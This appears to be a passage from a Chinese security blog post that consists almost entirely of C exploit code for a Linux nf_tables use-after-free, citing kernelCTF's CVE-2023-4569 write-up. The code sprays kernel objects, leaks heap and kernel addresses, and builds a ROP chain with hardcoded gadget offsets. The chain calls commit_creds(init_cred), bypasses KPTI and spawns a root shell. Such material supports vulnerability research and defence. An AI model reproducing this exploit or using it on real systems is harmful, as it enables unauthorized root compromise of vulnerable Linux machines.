new_setelem_with_expr(socket, SET_TABLE, hash_set_for_expr, pad, 0x7c, obj_for_rop, hash_key_16, 16, NULL, 0);
}

//step 6 change expr->size
elem_flush(socket, SET_TABLE, pipapo_set);

puts("before change use");
//getchar();
//step 7
//make obj_for_rop->use = 0

char *ops = malloc(0x100);
#define CHANGE
#ifndef CHANGE

for(i=0;i<0x400;i++){
*(uint64_t *)hash_key_16 = i;
new_setelem_with_expr(socket, SET_TABLE, hash_set_for_expr, pad, 0x91, obj_for_rop, hash_key_16, 16, NULL, 0);
}
#endif

#ifdef CHANGE
struct nlmsghdr **msg_list1 = malloc(sizeof(struct nlmsghdr *)*5);
char *tmp_set1 = "tmp set for rop";
for(i=0;i<0x400;i++){
new_set_hashtable(socket, SET_TABLE, tmp_set1, NFT_OBJECT_CT_EXPECT, 8);
new_setelem(socket, SET_TABLE, tmp_set1, pad, 0x100, obj_for_rop, NULL, 0, NULL, 0, 1);
memset(msg_list1, 0, sizeof(struct nlmsghdr *)*5);
msg_list1[0] = elem_flush_msg(SET_TABLE, tmp_set1);
msg_list1[1] = del_set_msg(SET_TABLE, tmp_set1);
send_msg_list(socket, msg_list1, 2);
}
#endif

puts("before del obj_for_rop");
//getchar();
del_obj(socket, SET_TABLE, obj_for_rop, NFT_OBJECT_CT_EXPECT);

puts("sleep for 2 seconds...");
sleep(2);
//ops->dump
*(uint64_t *)&ops[0x40] = kernel_off + 0xffffffff81013d16;//leave ; ret
//ops->type
*(uint64_t *)&ops[0x78] = kernel_off + 0xffffffff8279d1f8-0x30; //page_offset_base-0x30 //last type

*(uint64_t *)&ops[0x08] = kernel_off + 0xffffffff81551250;//pop rdi; ret
*(uint64_t *)&ops[0x10] = kernel_off + 0xffffffff82a535a0;//init_cred
*(uint64_t *)&ops[0x18] = kernel_off + 0xffffffff810b6ea0;//commit_creds;
*(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff81551250;//pop rdi; ret
//*(uint64_t *)&ops[0x28] = 1;
*(uint64_t *)&ops[0x30] = kernel_off + 0xffffffff82001641;// KPTI
*(uint64_t *)&ops[0x48] = shell;
*(uint64_t *)&ops[0x50] = user_cs;
*(uint64_t *)&ops[0x58] = user_rflags;
*(uint64_t *)&ops[0x60] = user_rsp|8;
*(uint64_t *)&ops[0x68] = user_ss;

/**(uint64_t *)&ops[0x68] = 0;
*(uint64_t *)&ops[0x70] = kernel_off + 0xFFFFFFFF815014BE;//pop rsi; ret
*(uint64_t *)&ops[0x80] = kernel_off + 0xffffffff818624b5;//or rdi, rax ; test rdi, rdi ; setne al ; ret
*(uint64_t *)&ops[0x88] = kernel_off + 0xFFFFFFFF815014BE;//pop rsi ; ret
*(uint64_t *)&ops[0x90] = kernel_off + 0xFFFFFFFF836765C0;//init_nsproxy
*(uint64_t *)&ops[0x98] = kernel_off + 0xffffffff811bd180; //switch_task_namespaces
*(uint64_t *)&ops[0xa0] = kernel_off + 0xffffffff82141df6;//swagpgs; ret
*(uint64_t *)&ops[0xa8] = kernel_off + 0xFFFFFFFF82201157;//iretq
*(uint64_t *)&ops[0xb0] = (uint64_t)shell;
*(uint64_t *)&ops[0xb8] = user_cs;
*(uint64_t *)&ops[0xc0] = user_rflags;
*(uint64_t *)&ops[0xc8] = user_rsp|8;
*(uint64_t *)&ops[0xd0] = user_ss;*/

//0xffffffff82001641 KPTI

spray_tables(socket,0x1000, ops, 0xe8);

puts("before jump to rop");
//getchar();

for(i=0;i<0x400;i++){
*(uint64_t *)hash_key_16 = i;
get_setelem(socket, SET_TABLE, hash_set_for_expr, hash_key_16,16);
}
}
void attack(struct nl_sock *socket){
int i;
char *pipapo_set = "set pipapo for leak";
char *hash_set = "set hashtable for leak";
char *hash_set_2 = "set hashtable 2 for leak";
//char *hash_set_3 = "set hashtable 3 for leak";
char *target_obj = "obj_for_leak_32";
char *obj_for_leak = "obj_for_leak_a";

new_table(socket, SET_TABLE);
new_obj_ct_expect(socket, SET_TABLE, obj_for_leak, NULL, 0);
new_set_pipapo(socket,SET_TABLE, pipapo_set, NFT_OBJECT_CT_EXPECT);
new_set_hashtable(socket, SET_TABLE, hash_set, NFT_OBJECT_CT_EXPECT, 8);
new_set_hashtable(socket, SET_TABLE, hash_set_2, NFT_OBJECT_CT_EXPECT, 8);
char *key = malloc(0x40);
char *key_end = malloc(0x40);
uint64_t hash_key;
nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
//step 1
//spray some objects
char *pad = malloc(0x100);
memset(pad,'C',0x100);
char *obj_name = malloc(0x40);
memset(obj_name,0,0x40);
for(i=0;i<0x40;i++){
snprintf(obj_name,0x40,"obj_for_leak_%d",i);
new_obj_ct_expect(socket, SET_TABLE, obj_name, NULL, 0);
}
//step 2
//make target_obj->use = 0x2a*4
for(i=0;i<0x29;i++){
memset(key,i,0x40);
memset(key_end,i,0x40);
new_setelem(socket, SET_TABLE, pipapo_set, pad, 0x100, target_obj, key, 0x40, key_end, 0x40, 0);
}
hash_key = 0xdeadbeef;
new_setelem(socket, SET_TABLE, hash_set_2, pad, 0x100, target_obj, &hash_key, 8, NULL, 0, 0);
//step 3
//make target_obj->use = 0

struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*5);
char *tmp_set = "tmp set for leak";
for(i=0;i<0x2a;i++){
new_set_hashtable(socket, SET_TABLE, tmp_set, NFT_OBJECT_CT_EXPECT, 8);
new_setelem(socket, SET_TABLE, tmp_set, pad, 0x100, target_obj, NULL, 0, NULL, 0, 1);
memset(msg_list, 0, sizeof(struct nlmsghdr *)*5);
msg_list[0] = elem_flush_msg(SET_TABLE, tmp_set);
msg_list[1] = del_set_msg(SET_TABLE, tmp_set);
send_msg_list(socket, msg_list, 2);
}

//step 4
//delete target obj
del_obj(socket, SET_TABLE, target_obj, NFT_OBJECT_CT_EXPECT);


//step 5
//get heap back
int kids[0x100];
spray_key(kids, 80, 0xc0, "11111111");

puts("key_spray done");
//getchar();


return 0;



for(i=0;i<0x400;i++){
//printf("%d\n",i);
*(uint64_t *)pad = i;
hash_key = i;
new_setelem(socket, SET_TABLE, hash_set, pad, 0xa1, obj_for_leak, &hash_key, 8, NULL, 0,0);
}
//step 6
//make setelem->udata_len = 0xfc
elem_flush(socket, SET_TABLE, pipapo_set);
sleep(2);
//step 7 Get leak data
struct nl_sock * socket2 = nl_socket_alloc();
if(nfnl_connect(socket2)<0){
printf("nfnl_connect fail!\n");
return 0;
}
nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
for(i=0;i<0x400;i++){
hash_key = i;
get_setelem(socket2, SET_TABLE, hash_set, &hash_key,8);
nl_recvmsgs_default(socket2);
nl_recvmsgs_default(socket2);
}
uint64_t obj_a = *(uint64_t *)&leak_data[0xcf];
uint64_t obj_b = *(uint64_t *)&leak_data[0xcf+8];
printf("leak obj A heap : %llx\n",obj_a);
printf("leak obj B heap : %llx\n",obj_b);
elem_flush(socket, SET_TABLE, hash_set);
sleep(2);
*(uint64_t *)&pad[0x20] = obj_a + 0x80;
spray_tables(socket,0x400, pad, 0xcc);
printf("spray finish\n");
hash_key = 0xdeadbeef;
nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_leak_ops, NULL);
get_setelem(socket2, SET_TABLE, hash_set_2, &hash_key,8);
nl_recvmsgs_default(socket2);
nl_recvmsgs_default(socket2);
printf("Leak end.\n");
leak_heap = obj_a;
kernel_off = leak_ops - 0xffffffff82332b80;
printf("kernel_off == %p\n", (void *)kernel_off);
}

int main(void) {
if (setup_sandbox() < 0){
printf("Create sandbox fail!\n");
return 0;
}
save_state();
struct nl_sock * socket = nl_socket_alloc();

if(nfnl_connect(socket)<0){
printf("nfnl_connect fail!\n");
return 0;
}
leak_and_prepare_rop(socket);
//getchar();
jmp_rop(socket);
//attack(socket);
return 0;
}

参考

https://github.com/google/security-research/blob/499284a767851f383681ea68e485a0620ccabce2/pocs/linux/kernelctf/CVE-2023-4569_lts/docs/exploit.md


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录